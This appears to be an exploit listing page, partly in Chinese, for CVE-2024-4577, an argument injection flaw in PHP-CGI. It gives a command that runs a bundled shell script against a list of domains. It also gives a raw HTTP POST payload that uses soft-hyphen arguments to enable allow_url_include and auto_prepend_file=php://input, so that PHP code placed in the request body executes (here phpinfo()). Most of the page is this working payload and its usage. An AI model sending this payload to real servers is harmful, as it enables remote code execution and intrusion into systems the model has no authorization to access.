CVE-2024-4577 PoC — PHP 操作系统命令注入漏洞

Source

Associated Vulnerability

Description

POC & $BASH script for CVE-2024-4577

Readme

# CVE-2024-4577, Argument Injection in PHP-CGI
```
./CVE-2024-4577.sh /path/to/domains-list

```
# POC : 
```
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?> 

```
![448002152_980199013569536_7597209283143282849_n](https://github.com/11whoami99/CVE-2024-4577/assets/122907550/5a9a4dab-7621-4db9-9bc4-7ab2de977822)

File Snapshot

 [4.0K]  /data/pocs/f1775e85e3c5a1adb3bb63e195312e24e24e1e47
├── [ 948]  CVE-2024-4577.sh
├── [1.2K]  CVE-2024-4577.yaml
└── [ 518]  README.md

0 directories, 3 files

Remarks